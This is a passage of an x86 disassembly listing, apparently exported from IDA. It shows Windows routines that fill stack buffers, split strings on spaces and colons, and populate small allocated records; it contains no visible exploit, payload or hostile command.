		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27A0000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi ; dword_50FAAC
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi ; dword_50FAAC
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB8C
		push	offset dword_50BB8C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27A0000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi ; dword_50FAAC
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi ; dword_50FAAC
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C338
		mov	esi, dword_50F8D0


loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi ; dword_50F8D0
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
